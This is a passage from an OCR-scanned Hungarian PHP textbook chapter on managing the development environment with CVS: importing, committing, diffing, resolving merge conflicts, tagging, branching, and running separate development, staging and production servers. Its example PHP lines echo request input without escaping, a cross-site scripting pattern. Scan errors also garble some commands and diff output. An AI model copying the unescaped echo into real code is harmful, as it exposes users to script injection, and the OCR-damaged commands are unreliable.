Illeszthető Professzionális

Ezek a minőségjelzők éppen olyanok, mint amiket a cégvezetők hallani szeretnek, így nem csoda, hogy „vállalati szoftverre" vágynak. A gond az, hogy a többi divatszóhoz hasonlóan a „vállalati" kifejezés sem több reklámfogásnál: felcímkézhetjük vele a szoftvert, mintha az lenne a tökéletes megoldás az adott problémára, miközben semmit nem árulunk el arról,

194

PHP fejlesztés felsőfokon

hogy miért is jobb a vele versengő termékeknél. Persze az ilyen divatszavak mögött kezdetben valóban haladó törekvések állnak, mielőtt a piackutatók felkapnák őket. A fentebb felsorolt tulajdonságok rendkívül fontosak, ha üzletünket programokra építjük. A könyvben már megtanultuk, hogyan írhatunk megfelelően tesztelt szoftvert (a 6. fejezetben), a 13. és 14. fejezetekben pedig annak biztonságossá tételével (mind a felhasználókkal szembeni, mind az ő érdekükben nyújtott védelemmel) is megismerkedünk. A kötet jelentős része a méretezhető és ellenálló programok professzionális fejlesztésével foglalkozik, ebben a fejezetben azonban azt tárgyaljuk, miként tehetjük a PHP alkalmazásokat kezelhetővé. A kezelhetőség tárgykörébe két dolog tartozik: • Változatkezelés - Bármilyen (kicsi vagy nagy) webhely kezelése változatkezelő rendszer nélkül olyan, mintha biztonsági háló nélkül járnánk kötéltáncot. • Csomagkezelés - A csomagok kezelése szorosan kapcsolódik a változatkezeléshez. Ezzel biztosíthatjuk a webhely változatainak követését, elosztott környezetben pedig segítségével könnyen vehetünk fel új csomópontot, ami pontosan a megfelelő tartalommal rendelkezik. Ez nem csak a PHP kódokra vonatkozik, hanem a rendszerelemekre is.

Változatkezelés
A változatkezelő szoftver olyan eszköz, ami lehetővé teszi a projektfájlok módosításainak követését, és változatokat készíthetünk vele a projektből az állományváltozatok alapján. Ez nagymértékben segíti a szoftverfejlesztés folyamatát, mert így az egyes változtatásokat könnyen nyomon követhetjük és szükség esetén visszafordíthatjuk. Nem kell emlékeznünk rá, miért is hajtottunk végre egy adott módosítást, vagy arra, hogyan nézett ki a kód a módosítás előtt. Elég, ha megvizsgáljuk a fájlváltozatok közötti különbségeket és elolvassuk a naplókat, és máris láthatjuk, mikor történt a változtatás, pontosan mi változott, és miért (feltéve, hogy kikényszerítjük a bővebb naplóbejegyzések használatát). A fentiek mellett egy jó változatkezelő rendszer segítségével több fejlesztő dolgozhat egyszerre biztonságosan ugyanazokon az állományokon, és a változtatások automatikusan egybeolvaszthatok. Amikor többen is hozzáférnek egy fájlhoz, a leggyakoribb probléma, hogy egyikük véletlenül felülírja a másik fejlesztő által eszközölt módosításokat. A változatkezelő rendszer ezt a kockázatot szünteti meg. A változatkezelő vagy változatkövető rendszerek „szabványa" a nyílt forrású programok között ma a CVS (Concurrent Versioning System). A CVS az RCS (Revison Control System) bővítéseként jött létre. Az RCS-t Walter Tichy írta a Purdue University-n 1985-ben; ez is egy korábbi rendszer, az ATT Labs cégnél 1975-ben kidolgozott SCSS (Source Code

7. fejezet • A fejlesztőkörnyezet kezelése

195

Control System) javítása volt. Az RCS-t szerzője azért írta, hogy lehetővé tegye, hogy többen dolgozzanak ugyanazon a fájlhalmazon, egy bonyolult zárolási rendszer segítségével. A CVS az RCS-re épül; megengedi, hogy egy fájlnak több tulajdonosa legyen, lehetővé teszi a tartalmak automatikus összeolvasztását, a forrásfa felépítését, illetve azt, hogy egyszerre több felhasználó rendelkezzen írható példánnyal a forráskódból.

Más változatkezelő rendszerek

A CVS nem az egyetlen változatkezelő rendszer. Számos más rendszerrel helyettesíthetjük, ilyen például a BitKeeper vagy a Subversion. Mindkettő a CVS hibáit igyekszik kiküszöbölni, de fejlettebb szolgáltatásaik ellenére úgy döntöttem, a CVS-re összpontosítok, mert ez a legszélesebb körben használt nyílt forrású változatkezelő rendszer, így valószínűleg ezzel találkozunk.

Használjuk mindenütt a CVS-t!

Mindig elcsodálkozom azon, hogy egyesek változatkezelés nélkül fejlesztenek programokat. Számomra a változatkezelés alapvető fontosságú a programozásban. Még ha egy munkán egyedül dolgozom is, az állományok kezelésére akkor is használom a CVS-t. Segítségével gyorsan hajthatok végre változtatásokat, anélkül, hogy biztonsági másolatok garmadáját kellene kéznél tartanom. így tudom, hogy ha kellő fegyelmezettséggel dolgozom, szinte semmilyen hibát nem követhetek el, amivel maradandó károsodást okozhatnék a szoftverben. Ha csapatban dolgozunk, a CVS még inkább nélkülözhetetlen. Napi munkám során öt fejlesztővel működöm együtt, akik ugyanazokkal az állományokkal dolgoznak. A CVS-t használva szinte irányítás nélkül képesek hatékonyan fejleszteni, és ami még fontosabb, mindenki érti a többiek által végrehajtott változtatások logikáját, és nem kell maguknak nyomon követniük a módosításokat.

A CVS alapjai
A CVS-sel történő fájlkezelés első lépése, hogy bevisszük a projektet a CVS tárába (repository). Helyi tárat úgy hozhatunk létre, hogy először létrehozunk egy könyvtárat, amelyben a tár állományait tárolni fogjuk. Az elérési út általában /var/cvs, de más is megfelel. Mivel ez a projekt adatainak állandó tárolója lesz, olyan helyre érdemes tennünk a tárat, ahol a szabályos időközönkénti biztonsági mentés biztosított. Először létrehozzuk az alapkönyvtárat, majd a cvs init paranccsal az alaptárolót:
> mkdir /var/cvs > cvs -d /var/cvs init

196

PHP fejlesztés felsőfokon

Ezzel elkészítettük azokat a felügyeleti alapfájlokat, amelyekre a CVS-nek a könyvtárban szüksége van.

A CVS használata nem Unix rendszereken

A CVS itt szereplő utasításai Unix-megfelelő rendszerekre (Linux, BSD, OS X stb.) vonatkoznak. A CVS Windowson is fut, de az ott használt eltérő utasításformát nem tárgyaljuk. Részleteket a http: //www. cvshome .org és http: //www. cvsnt .org címeken találunk.

A könyv példáinak beviteléhez az import utasítást használhatjuk, amelynek a fájlokat tartalmazó legfelső szintű könyvtárat kell megadnunk:
> cd Advanced_PHP > cvs -d /var/cvs import Advanced_PHP advanced_php start cvs import: Importing /var/cvs/books/Advanced_PHP/examples N books/Advanced_PHP/examples/chapter-10/l.php N books/Advanced_PHP/examples/chapter-10/10.php N books/Advanced_PHP/examples/chapter-10/ll.php N books/Advanced_PHP/examples/chapter-10/12.php N books/Advanced_PHP/examples/chapter~10/13.php N books/Advanced_PHP/examples/chapter-10/14.php N books/Advanced_PHP/examples/chapter-10/15.php N books/Advanced_PHP/examples/chapter-10/2.php

No conflicts created by this import

A kimenet azt jelzi, hogy minden állomány új bevitelű (tehát nem olyan fájlok, amelyek már szerepeltek az adott tárban), és a bevitel során minden rendben zajlott. A -d /var/cvs a használni kívánt tárhelyet adja meg. Beállíthatjuk a CVSROOT környezeti változót is, de jobb, ha kifejezetten megadjuk, melyik tárat akarjuk használni, mert a különböző projekteket különböző tárakba célszerű helyezni. Ha a parancssorban megadjuk a tár nevét, biztosak lehetünk benne, hogy a megfelelő tárat használjuk. A CVS számára az import parancsot kell kiadnunk. A parancsot követő három elem (Advanced_PHP advanced_php start) a helyet, a készítőt, és a kiadást jelzi. A helyként megadott Advanced_PHP azt mondja a CVS-nek, hogy a projekt fájljait a /var/cvs/Advanced_PHP könyvtárban akarjuk tárolni. A névnek nem kell megegyeznie a projektet jelenleg tartalmazó könyvtár nevével, de a CVS ezen a néven fogja ismerni a projektet, és a fájlokat tároló alapkönyvtár nevének is ennek kell lennie, amikor a fájlokat lekérjük a CVS-ből.

7. fejezet • A fejlesztőkörnyezet kezelése

197

A parancs kiadásával elindul az alapértelmezett szerkesztőprogram, és egy üzenet beírására szólít fel. Minden alkalommal, amikor a CVS segítségével módosítjuk a főtárat, be kell írnunk egy naplóüzenetet, ami leírja, mit is csinálunk. Érdemes a fejlesztőket egységes és informatív naplóüzenetek használatára szorítani, mert így könnyen nyomon követhetjük, miért volt szükség adott változtatásokra. Nem szükséges magunknak beírnunk a CVS parancssorba az -m "üzenet "-et: ha szigorú szabályokat vezetünk be az üzenetek számára, a véglegesítési üzenetekből automatikusan is felépíthető a változásnapló, illetve a projekt egyéb dokumentációi. A készítőt (advanced_jphp), illetve a kiadást (start) jelző címkék a projekt azon ágait határozzák meg, amelyeket a fájlokhoz társítunk. Az ágak teszik lehetővé, hogy a fejlesztés több irányban haladhasson. Az egyik ág fájljainak módosítása nincs hatással a többi ágra. A készítő ágára azért van szükség, mert előfordulhat, hogy másik cégtől származó forrásokat is be kell vinnünk a tárba. Amikor a projektet felvesszük, a CVS felcímkézi a fájlokat a készítő szerint. A készítő ágához mindig visszatérhetünk, ha az eredeti, módosítatlan kódra vagyunk kíváncsiak. Természetesen ez is olyan ág, mint a többi, így a változtatásokat rá is alkalmazhatjuk, de ez a gyakorlatban nemigen szükséges. A CVS megköveteli, hogy a készítő, illetve a kiadás címkéjét bevitelkor meghatározzuk, ezért kellett itt is beírnunk. A legtöbb esetben később már nem kell hozzájuk nyúlnunk. Egy másik ág, amelyet minden projektben megtalálunk, a HEAD, ami mindig a fejlesztés fő ága. Egyelőre mi is mindent ebben az ágban fogunk végezni. Ha nem határozunk meg kifejezetten egy ágat, a változtatások a HEAD ágra lesznek érvényesek. A fájlokat bevitelkor nem ellenőrzi a CVS, ezt magunknak kell megtennünk, hogy tudjuk, biztosan a CVS által kezelt példányokon dolgozunk. Mivel mindig megvan az esély, hogy bevitel közben valamilyen váratlan hiba történik, ajánlatos ellenőrizni a bevitt forrásanyagokat, és saját szemmel győződni meg róla, hogy mindent bevittünk, mielőtt az eredeti tárolót törölnénk. A frissen bevitt projektfájlokat az alábbi parancsokkal ellenőrizhetjük:
> mv Advanced_PHP Advanced_PHP.old > cvs -d /var/cvs checkout Advanced_PHP cvs checkout: Updating Advanced_PHP cvs checkout: Updating Advanced_PHP/examples U Advanced_PHP/examples/chapter-10/l.php U Advanced_PHP/examples/chapter-10/10.php U Advanced_PHP/examples/chapter-10/ll.php U Advanced_PHP/examples/chapter-10/12.php U Advanced_PHP/examples/chapter-10/13.php U Advanced_PHP/examples/chapter-10/14.php U Advanced_PHP/examples/chapter-10/15.php # nézzük át magunk is az új Advanced_PHP tárolót > rm -rf Advanced_PHP.old

198

PHP fejlesztés felsőfokon

Az új Advanced_PHP könyvtárnak pontosan ugyanúgy kell kinéznie, mint a réginek, azzal a különbséggel, hogy minden alkönyvtárának lesz egy új CVS alkönyvtára. A CVS alkönyvtár a változatkezelő rendszer által igényelt felügyeleti fájlokat tárolja, így az a legjobb, ha figyelmen kívül hagyjuk a jelenlétét.

Bináris fájlok a CVS-ben

A CVS alapállapotban minden bevitt állományt szövegként kezel. Ez azt jelenti, hogy ha beviszünk egy bináris fájlt - mondjuk egy képet -, majd a kimenő változatot kivesszük a változatkezelő rendszerből, egy nagyrészt használhatatlan szöveges állományt kapunk. A bináris fájltípusok helyes kezeléséhez meg kell mondanunk a CVS-nek, mely fájlok tartalmaznak bináris adatokat. Miután (akár az import, akár a commit utasítással) bevittük állományainkat a rendszerbe, a cvs admin -kab <fájlnév> végrehajtásával utasíthatjuk a CVS-t, hogy egy adott fájlt binárisként kezeljen. Az advanced_php. jpg-t például így adhatjuk helyesen a tárhoz:
> cvs add advanced_php.jpg > cvs commit -m 'this books cover art' advanced_php.jpg > cvs admin -kab advanced_php.jpg

Az állomány ezután már helyesen kezelhető. Egy másik megoldás, hogy a CVS-t arra kényszerítjük, hogy a fájlokat a nevük alapján automatikusan kezelje. Ehhez a CVSROOT/cvswrappers fájlt kell módosítanunk. A CVS felügyeleti fájljait maga a CVS szerkeszti, ezért először ezt kell tennünk: > cvs -d /var/cvs co CVSROOT Ezután a cvswrappers állományba a következőhöz hasonló sort kell írnunk: *.jpg -k 'b' Miután a változtatást véglegesítettük, a rendszer minden . j pg végződésű fájlt binárisként fog kezelni.

A fájlok módosítása
Tegyük fel, hogy bevittünk minden fájlt a CVS-be, és módosításokat végeztünk rajtuk. Látszólag minden úgy működik, ahogy szeretnénk, ezért a CVS-sel - amely nagyrészt „kézi" rendszer - mentetni szeretnénk a változtatásokat. Amikor a munkakönyvtárban fájlokat

7. fejezet • A fejlesztőkörnyezet kezelése

199

módosítunk, a főtár nem módosul automatikusan. Ha elégedettek vagyunk az eredménnyel, a cvs commit utasítással meg kell mondanunk a CVS-nek, hogy a főtárban is véglegesítheti a módosításokat, amelyek ezután állandósulnak. Az examples/chapter-7 /l .php eredeti változata a következő volt: <?php echó "Hello $_GET['name']"; ?>

Ezt úgy módosítottuk, hogy a name ne csak GET, hanem bármilyen típusú kérelemből származhasson: <?php echó "Hello $_REQUEST['name'] " ; ?>

A módosítás véglegesítése a CVS-ben az alábbi módon történik: > cvs commit -m "use any method, not just GET" examples/chapter-7IX .php Checking in examples/chapter-7/1.php; /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v <-l.php new revision: 1.2; previous revision: 1.1 done Megfigyelhetjük az -m kapcsoló használatát, ami után a véglegesítési üzenetet adhatjuk meg a parancssorban. Az is látható, hogy nem határozzuk meg a CVS tár helyét: amikor a munkakönyvtárban vagyunk, a CVS tudja, melyik tárból származnak a fájlok. Amikor új fájlt vagy könyvtárat adunk egy projekthez, még egy lépést végre kell hajtanunk. Mielőtt véglegesíthetnénk a kezdeti változatot, a fájlt a cvs add utasítással hozzá kell adnunk a rendszerhez: > cvs add 2.php cvs add: scheduling filé v 2 . p h p ' for addition cvs add: use 'cvs commit' to add this filé permanently Ahogy az üzenet jelzi, a fájl hozzáadása csak tájékoztatja a tárat, hogy fájl érkezik. Ahhoz, hogy a CVS mentse az új fájlt, véglegesítenünk kell azt.

A fájlok különbségeinek vizsgálata
Bármilyen változatkezelő rendszert használunk is, az elsődleges cél az, hogy képesek legyünk különbséget tenni a fájlok változatai között. A CVS-ben erre számos lehetőség adódik.

200

PHP fejlesztés felsőfokon

A legegyszerűbb módszer, amivel meghatározhatjuk a különbségeket a munkapéldány és a kimenő változat között, a következő: > cvs diff -u3 examples/chapter-7/1.php Index: examples/chapter-7/1.php RCS filé: /var/cvs/books/Advanced_PHP/examples/chapter-7/l.php,v retrieving revision 1.2 diff -u -3 -r l . 2 l.php
--- l.php 2003/08/26 15:40:47 +++ l.php 2003/08/26 16:21:22 @@ -1,3 +1,4 @@ <?php echó "Hello $_REQUEST['narae']"; +echo "\nHow are you?"; ?> 1.2

Az -u3 kapcsoló három sor egyesített különbségvizsgálatát (diff) jelenti. Maga a diff azt mutatja, hogy a változat, amihez képest különbséget keresünk, az 1.2-es (a CVS automatikusan számozza a változatokat), és egyetlen sort adtunk hozzá. Különbséget kereshetünk egy adott változathoz képest, de két változat között is. Egy adott fájl létező változatszámait a cvs log utasítással tekinthetjük meg. A parancs hatására megjelenik a fájl minden véglegesített változata, a véglegesítések dátuma, illetve a hozzájuk tartozó üzenetek:
> cvs log examples/chapter-7/1.php RCS filé: /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v Working filé: examples/chapter-7/1.php head: 1.2 branch: locks: strict access list: symbo1i c name s: keyword substitution: kv totál revisions: 2; selected revisions: 2 description: revision 1.2 date: 2003/08/26 15:40:47; author: george; state: Exp; lines: +1 -1 use any request variable, not just GET revision 1.1 date: 2003/08/26 15:37:42; initial import

author: george;

state: Exp;

7. fejezet • A fejlesztőkörnyezet kezelése

201

Ahogy a példából látható, a fájlnak két módosított változata (revison 1.1 és 1.2) létezik. A különbségeket így kereshetjük meg köztük: > cvs diff -u3 -r 1.1 -r 1.2 examples/chapter-7/1 .php Index: examples/chapter-7/1.php RCS file : /var/cvs/books/Advanced_PHP/examples/chapter-7/l.php,v retrieving revision 1.1 retrieving revision 1.2 diff -u -3 -rl.l -rl.2
--- l.php 2003/08/26 15:37:42 +++ l.php 2003/08/26 15:40:47 @@ -1,3 +1,3 @@ <?php -echó "Hello $_GET['name']"; +echo "Hello $_REQUEST['name']"; ?> 1.1 1.2

Az 1.1-es változat és az aktuális munkapéldány közötti különbségeket így jeleníthetjük meg: > cvs diff -u3 -r 1.1 examples/chapter-7/1 .php Index: examples/chapter-7/1.php RCS file: /var/cvs/books/Advanced_PHP/examples/chapter-7/l.php,v retrieving revision 1.1 diff -u -3 -rl.l l.php
--- l.php +++ l.php @@ -1,3 +1,4 <?php -echó "Hello +echo "Hello +echo "\nHow ?> 2003/08/26 15:37:42 2003/08/26 16:21:22 @@ $_GET['name']"; $_REQUEST['name']"; are you?"; 1.1

Rendkívül hasznos az a lehetőség is, hogy egy adott dátumbélyeghez vagy időtartamhoz képest is kereshetünk külöbségeket. Gyakran előfordul, hogy egy webhelyen hiba lép fel, de nem tudjuk, pontosan mikor is következett be, csak azt, hogy a hely egy ismert időpontban határozottan működött. Ilyen esetben az kell tudnunk, milyen változások történtek az adott időpont óta, a hiba okát ugyanis biztosan ezek között találjuk. A CVS rendelkezik az ehhez szükséges támogatással. Ha tudjuk például, hogy egy olyan módosítást keresünk, amit az elmúlt 20 percben hajtottunk végre, ezt az utasítást kell kiadnunk: > cvs diff -u3 -D '20 minutes Index: examples/chapter-7/l.php ago' examples/chapter-7/1 .php

202

PHP fejlesztés felsőfokon

RCS filé: /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v retrieving revision 1.2 diff -u -3 -rl.2 l.php --- l.php 2003/08/26 15:40:47 1.2 +++ l.php 2003/08/26 16:21:22 @@ -1,3 +1,4 @@ <?php echó "Hello $_REQUEST['name']"; +echo "\nHow are you?"; ?>

A CVS dátumfeldolgozója elég jól működik; relatív és abszolút dátumokat is megadhatunk, többféle formában. A CVS azt is megengedi, hogy rekurzív különbségkeresést végezzünk a könyvtárakon; vagy úgy, hogy megadjuk a könyvtárat, vagy úgy, hogy kihagyjuk a különbségfájlt, mely esetben az aktuális könyvtárban ismételjük a keresést. Ez akkor lehet hasznos, ha egyszerre több fájl különbségeit szeretnénk megvizsgálni.

Megjegyzés

Az idő alapú CVS különbségfájlok a legfontosabb hibaelhárító eszközök közé tartoznak. Amikor hibáról érkezik jelentés a webhellyel kapcsolatban, amin dolgozom, az első kérdéseim ezek: „Mikor működött utoljára?" és „Mikor érkezett az első hibajelentés?". A két időpontot elkülönítve a CVS használatával gyakran azonnal megtalálható a problémát okozó véglegesítési utasítás.

Több fejlesztő egy munkán
Az egyik legnagyobb kihívás, amivel szembe kell néznünk, amikor lehetőséget adunk arra, hogy többen dolgozhassanak egyszerre ugyanazon a fájlon, az általuk végrehajtott módosítások egyesítése úgy, hogy az egyik fejlesztő munkája ne tegye tönkre a másikét. A CVS az update utasítással támogatja ezt. Az update-et számos módon használhatjuk. A legegyszerűbb, amikor biztosítjuk, hogy egy fájl naprakész legyen. Ha a kimenő változat nem a legfrissebb a tárban, a CVS megkísérli a különbségek alapján frissíteni. Az 1. php frissítésénél például a következő egyesítési figyelmeztetést kaphatjuk: > cvs update examples/chapter-7/1.php M examples/chapter-7/1.php Ebben a példában az M azt jelzi, hogy a munkakönyvtárban levő változat a legfrissebb, de vannak helyi, véglegesítetlen módosítások.

7. fejezet • A fejlesztókörnyezet kezelese

203

Ha valaki más dolgozott a fájlon és véglegesített egy módosítást a kezdeti változat óta, az üzenet így fest:
> cvs update l.php U l.php

Ebben a példában az U azt jelzi, hogy a munkapéldányunknál létezik frissebb változat, a CVS sikeresen belevitte a változtatásokat, és frissítette a változatszámát. A CVS néha kavarodást is képes okozni. Ha két fejlesztő egy fájlnak pontosan ugyanazon a részén dolgozik, ütközésre kerülhet sor, amikor a CVS megpróbálja egyesíteni a két változatot:
> cvs update examples/chapter-7/1.php RCS filé: /var/cvs/Advanced_PHP/examples/chapter-7/l.php,v retrieving revision 1.2 retrieving revision 1.3 Merging differences between 1.2 and 1.3 intő l.php rcsmerge: warning: conflicts during mérge cvs update: conflicts found in examples/chapter-7/1 .php C examples/chapter-7/1.php

Minden CVS parancs kimenetét érdemes alaposan áttanulmányozni. A C az update kimenetében ütközést jelöl, miszerint a CVS megpróbálta egyesíteni a fájlokat, de nem járt sikerrel, így a helyi másolat általában instabil állapotban marad, és ezt magunknak kell helyrehoznunk. Egy ilyen típusú frissítési ütközés után a fájl így fog kinézni: <?php echó "Hello $_REQUEST['name']"; <«<<<< l.php
echó "\nHow are you?"; echó "Goodbye $_REQUEST['name']"; »»>>> 1.3 ?>

Mivel a helyi másolatban egy olyan módosított sor szerepel, amit máshol véglegesítettek, a CVS megköveteli, hogy a fájlokat „kézzel" egyesítsük. A rendszer sajnos összekutyulta a fájlt, így az nyelvtanilag nem lesz helyes, amíg a hibát ki nem javítjuk. Ha helyre akarjuk állítani az eredeti példányt, amelynek a frissítésével kísérleteztünk, megtehetjük, a CVS ugyanis . # fájlnév, változat néven menti azt ugyanabba a könyvtárba. Ahhoz, hogy az ilyen kavarodást megakadályozzuk, ajánlatos így futtatni a frissítést: > cvs -nq update

204

PHP fejlesztés felsőfokon

Az -n kapcsoló arra utasítja a CVS-t, hogy ténylegesen ne hajtson végre módosításokat. A CVS ekkor megvizsgálja, milyen tennivalói vannak, de egyetlen fájlt sem változtat meg. Szokásos esetben a CVS minden ellenőrzött könyvtárhoz üzeneteket fűz. Ha egy fa és egy ág vége között keressük a különbségeket, ezek az üzenetek elég zavaróak lehetnek. A CVS-t a -q kapcsolóval „inthetjük csendre". A commit-hoz hasonlóan az update is működik önhívó (rekurzív) módon. Ha azt szeretnénk, hogy a CVS képes legyen minden újonnan felvett könyvtárat egy fához adni, a frissítéshez a -d kapcsolót kell csatolnunk. Ha azt gyanítjuk, hogy fánkhoz egy könyvtárat adtak (vagy ha üldözési mániában szenvedünk, minden frissítésnél), így futtassuk a frissítést: > cvs update -d

Jelzőcímkék
■A jelzőcímkék (szimbolikus címkék) használata az egyik módja annak, hogy egy változatszámot több fájlhoz rendeljünk egy adott tárban, ami a változatkezelésnél rendkívül hasznos. Amikor egy programváltozatot kibocsátunk az üzemi kiszolgálók számára, vagy egy könyvtárat átadunk más felhasználóknak, kényelmes, ha az alkalmazás által használt valamennyi fájl adott változatait a kívánt változathoz rendelhetjük. Példaképpen vegyük a 6. fejezetben elkészített Text_Statistics csomagot, amit a PEAR-ben a CVS-sel kezelünk. A fájlok legfrissebb változatai a következők: > cvs status
cvs server: Examining . Filé: Statistics.php Status: Up-to-date

Working revision: 1.4 Repository revision: 1.4 /repository/pear/Text_Statistics/Text/Statistics.php,v Sticky Tag: (nőne) Sticky Date: (nőne) Sticky Options: (nőne)

Filé: Word.php

Status: Up-to-date

Working revision: 1.3 Repository revision: 1.3 /repository/pear/Text_Statistics/Text/Word.php,v Sticky Tag: (nőne) Sticky Date: (nőne) Sticky Options: (nőne)

7. fejezet • A fejlesztőkörnyezet kezelése

205

Ahelyett, hogy hagynánk, hogy a felhasználók az utolsó változatot használják, egyszerűbb, ha változatszámmal látjuk el a csomagot, hogy a felhasználók tudják, stabil változatot használnak. Ha a Text_Statistics 1.1-es változatát szeretnénk kibocsátani, valahogy rögzítenünk kell, hogy az a Statistics .php 1.4-es CVS változatát, illetve a Word.php 1.3-as változatát tartalmazza, hogy bárki „név szerint" kérhesse az 1.1-es változatot. A címkézés éppen ezt teszi lehetővé. Ha a kimenő anyagban minden fájl legfrissebb változatát a RELEASE_1_1 címkével szeretnénk ellátni, az alábbi parancsot kell kiadnunk:
> cvs tag RELEASE_1_1

Egyes fájlokat is felcímkézhetünk, a címkék lekérdezésére pedig két mód van. Ha a kimenő példányt frissítjük, a címke nevére ugyanúgy frissíthetünk, mintha egy adott változatszámra frissítenénk. Az alábbi utasítással például a kimenetet visszaállíthatjuk az 1.0-s változatra:
> cvs update -r RELEASE_1_0

Vigyáznunk kell, mert a fájlok adott változatszámra való frissítéséhez hasonlóan a jelzőcímkéhez igazító frissítés is „ragadós" címkét rendel a kimenő fájlhoz. Néha előfordulhat, hogy nincs szükségünk a teljes tárra, ami a projekt minden CVS fájlját tartalmazza (például amikor egy terjeszthető változatot állítunk össze). A CVS az export utasítással támogatja ezt, amely minden fájlról másolatot készít, kivéve a CVS metaadatokat. Ez a megoldás abban az esetben is ideális, ha üzemi webkiszolgálók számára bocsátunk ki egy változatot, ahol nem szeretnénk, hogy idegenek hozzáférhessenek a metaadatokhoz. A RELEASE_1_1 ilyen kibocsátásához az alábbi export parancsot adhatjuk ki: > cvs -d cvs.php.net:/repository export -r RELEASE_1_1 \ -d Text_Statistics-l.1 pear/Text/Statistics Ezzel a pear/Text/Statistics CVS modul (itt található a Text_Statistics a PEAR-ben) RELEASE_1_1 címkéjét a Text_Statistics-l. 1 helyi könyvtárba visszük át.

Ágak
A CVS támogatja az ágaztatás (branching) fogalmát. Amikor egy CVS fát ágaztatunk, pillanatfelvételt készítünk a fáról az adott időpontban, amelytől kezdve minden ág a többitől függetlenül fejleszthető. Ez akkor hasznos, ha változatszámmal ellátott szoftvert bocsátunk ki. Amikor kiadjuk az 1.0-s változatot, új ágat hozunk létre a számára, így ha később hibajavítást kell végeznünk rajta, az adott ágban végezhetjük el, anélkül hogy ki kellene vennünk azokat a változtatásokat, amelyeket az 1.0-s változat kiadása után a fejlesztési ágban végeztünk.

206

PHP fejlesztés felsőfokon

Az ágakat nevük alapján azonosítjuk, létrehozásuk pedig a cvs tag -b utasítással történik. Egy PROD nevű ágat például így hozhatunk létre a tárban: > cvs tag -b PROD Az ágak különböznek a jelzőcímkéktől. Míg egy jelzőcímke csak időjelzéssel látja el a tár fájljait, ágaztatásnál ténylegesen új példányt készítünk az adott munka tárolójából. Az ághoz fájlokat adhatunk, illetve fájlokat vehetünk el onnan, módosíthatjuk, felcímkézhetjük és véglegesíthetjük őket, anélkül, hogy ez hatással lenne bármely másik ágra. A minden CVS projektben jelen levő alapértelmezett HEAD ág, ami a fa törzse, nem távolítható el. Mivel az ágak úgy viselkednek, mintha teljes tárak lennének, többnyire új munkakönyvtárat hozunk létre számukra. Az Advanced_PHP tár PROD ágából az alábbi utasítással készíthetünk kimenő változatot:
> cvs checkout -r PROD Advanced_PHP

Annak jelzésére, hogy ez egy adott ága a projektnek, a felső szintű könyvtárat át szokták nevezni, hogy tükrözze az ág nevét:
> mv Advanced_PHP Advanced_PHP-PROD

Ha már van ellenőrzött másolatunk a projektből, és frissíteni szeretnénk azt egy adott ágra, az update -r utasítást is használhatjuk, mint a jelzőcímkék esetében: > cvs update -r Advanced_PHP Időnként szükség lehet két ág egyesítésére. Tegyük fel például, hogy a PROD az üzemi kódot tartalmazza, míg a HEAD a fejlesztési fa. Mindkét ágban felfedeztünk egy jelentős hibát, és kijavítjuk a PROD ágban. A módosítást át kell vinnünk a fő fába is, amit az alábbi utasítással tehetünk meg: > cvs update -j PROD Ez a megadott ágban végrehajtott valamennyi változtatást átviszi a munkapéldányba. Amikor ilyen egyesítést hajtunk végre, a CVS megkeresi a fában a munkapéldány és a megadott ág csúcsának legközelebbi közös ősét, és azzal frissíti a munkapéldányt. Más frissítésekhez hasonlóan, ha ütközés történik, a változtatás véglegesítése előtt fel kell oldanunk azt.

A fejlesztési és üzemi környezet fenntartása
A CVS eddig bemutatott eljárásainak ismerete elegendő ahhoz, hogy saját webhelyünket kezeljük, vagy olyan helyen dolgozzunk, ahol a teljes fejlesztés üzemi (éles) környezetben zajlik. Mindazonáltal ha egyetlen fát használunk üzemi és fejlesztési környezetként, nyilvánvaló, hogy gondok lépnek fel: • A fejlesztők zavarják egymás munkáját. • Nem lehet egyszerre több nagy munkán dolgozni, hacsak nem egyszerre indítjuk el őket.

7. fejezet • A fejlesztőkörnyezet kezelése

207

• Nincs lehetőség a változások tesztelésére, aminek folytán elkerülhetetlen a hibák gyakori jelentkezése. Ezen problémák megoldásához olyan fejlesztési környezetet kell felépítenünk, ami lehetővé teszi a fejlesztőknek, hogy önállóan dolgozhassanak, módosításaikat pedig tisztán és biztonságosan egyesíthessék. Ideális megoldásként az alábbiakat javaslom: • Minden egyes fejlesztő személyes fejlesztési példánnyal rendelkezzen, hogy „tiszta" környezetben dolgozhassanak. • A fejlesztési környezet legyen egységes, a változtatások összeolvasztása és véglegesítése azelőtt történjen, hogy a kód a nyilvánosság elé kerülne. • Tartsunk fenn próbakörnyezetet, ahol a feltételezések szerint működésre kész kódot kipróbálhatjuk. • Az üzemi környezet legyen önálló. A 7.1 ábra a fentiek egy lehetséges megvalósítását ábrázolja. Két CVS ágot találunk benne: a PROD a működésre kész kódot, a HEAD a fejlesztési kódot tartalmazza. Két ágat alkalmazunk, de a folyamat négy szinten zajlik:

7.1 ábra

Üzemi és próbakörnyezet két CVS ággal.

208

PHP fejlesztés felsőfokon

Az új kódot író fejlesztők a HEAD ág saját kimenő változatán dolgoznak. A változások addig nem kerülnek be a HEAD ágba, amíg elég stabillá nem válnak ahhoz, hogy tönkre ne tegyék az ágat. Azzal, hogy minden fejlesztő saját webkiszolgálót kap (amelynek legjobb helye a fejlesztő munkaállomása), elősegítjük, hogy a lényegi változásokat anélkül tesztelhessék, hogy mások munkáját veszélyeztetnék. Egy olyan kódalap esetében, ahol minden nagymértékben önálló, ez a kockázat valószínűleg kicsi, de nagyobb környezetekben, ahol a felhasználói könyvtárak között függőségek hálója alakul ki, az a lehetőség, hogy másoktól függetlenül változtathatunk a kódon, igen hasznos. Ha egy fejlesztő elégedett az általa végrehajtott változtatásokkal, véglegesíti azokat a HEAD ágban, és kipróbálja a dev. example . com-on, ami mindig a HEAD-változatot futtatja. A teljes projekteket a fejlesztési környezetben próbáljuk ki és véglegesítjük. Itt történik az össze nem férő kódok kijavítása, és a program működésre késszé tétele. Ha a program készen áll arra, hogy üzemi környezetbe bocsássuk, átvisszük a PROD ágra, amit a stage. example. com webkiszolgáló szolgál ki. A program ekkor elméletileg készen áll a kibocsátásra. A valóságban azonban gyakran finomhangolásra és kisebb gondok megoldására van még szükség. Ezért kell a próbakörnyezet, ami a lehető legpontosabb mása az üzemi környezetnek. A PHP-változatnak, a webkiszolgálónak, az operációs rendszer beállításainak ugyanazoknak kell lenniük, mint az „élő" rendszeren. A próbakörnyezet biztosítja, hogy ne érhessen minket meglepetés. A kipróbált tartalmat ezután még egyszer át kell tekinteni, 